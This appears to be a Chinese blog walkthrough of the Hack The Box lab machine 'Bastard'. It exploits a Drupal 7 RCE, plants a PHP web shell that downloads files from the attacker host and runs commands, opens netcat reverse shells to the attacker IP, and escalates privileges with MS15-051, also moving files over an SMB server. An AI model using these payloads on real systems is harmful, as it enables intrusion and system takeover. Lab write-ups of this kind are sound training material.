htb-machines-Bastard

信息收集

nmap -sV 10.10.10.9

发现开了三个端口,有80,先访问看看

很明显是Drupal,基于php的cmf

那先找找有没有版本漏洞

Drupal 7

Drupal的版本在/CHANGELOG.txt中

得知Drupal 7.5.4,开启msf,找下相关漏洞

有一个7.x版本RCE的漏洞,打开尝试一下

发现/rest_endpoint路径报错,更改为/rest,exp如上图左所示

同时,此exp有三个问题

将代码第15行修改为上图,70行类似,因为#单行注释无法匹配两行内容。同时还需要在kali中安装php-curl

apt install php-curl

这里我的kali是php双环境,一直更新在最新的php版本上,试了各种方法都没用,之前一直懒没装kali2020,装好真香,不需要改上述的exp,并且直接装好php-curl,自带zsh,界面也好看,太香了

还以为要重新装openvpn,没想到也自带,太香了太香了

可以看到成功出现session.json

使用session.json中的cookie进行登陆,成功登陆为admin账户

(重写了exp)

成功连接

执行systeminfo

上传nc

nc下载地址

首先下载nc

(由于需要上传nc,又重写了shell)

a = '<?php if (isset($_REQUEST["fupload"])) {
	file_put_contents($_REQUEST["fupload"], file_get_contents("http://10.10.14.23:9999/".$_REQUEST["fupload"]));
};
if (isset($_REQUEST["fexec"])) {
	echo"<pre>".shell_exec($_REQUEST["fexec"])."</pre>";
};

?>';

file_get_contents中的ip为你连接vpn后的ip

启动python服务器

python -m SimpleHTTPServer 9999

上传nc

http://10.10.10.9/karsa.php?fupload=nc64.exe&fexec=nc64.exe%2010.10.14.23%208808%20-e%20cmd.exe

成功反弹shell

接下来进行提权

提权

CVE-2015-1701

POC地址

http://10.10.10.9/karsa.php?fexec=ms15-051x64.exe%20%22nc64.exe%20-e%20cmd%2010.10.14.23 8899%22

获得flag

方法二

使用 SMB 协议进行文件传输

impacket-smbserver share `pwd`

http://10.10.10.9/karsa.php?fexec=\\10.10.14.23\share\ms15-051x64.exe%20whoami

同样可以

总结

  1. 学习到了Drupal版本漏洞

  2. 学会两种渗透中的文件传输技巧

  • python搭建httpserver
python -m SimpleHTTPServer 端口
  • smb协议搭建SMBserver
impacket-smbserver share `pwd`
# 在当前目录启动 SMB server,共享名称为 share
  1. 学会了使用CVE-2015-1701(MS15-051)提权

htb的靶机还是非常有意思,多打打,学习

posted @ 2021-01-28 12:14  kar3a  阅读(145)  评论(0编辑  收藏  举报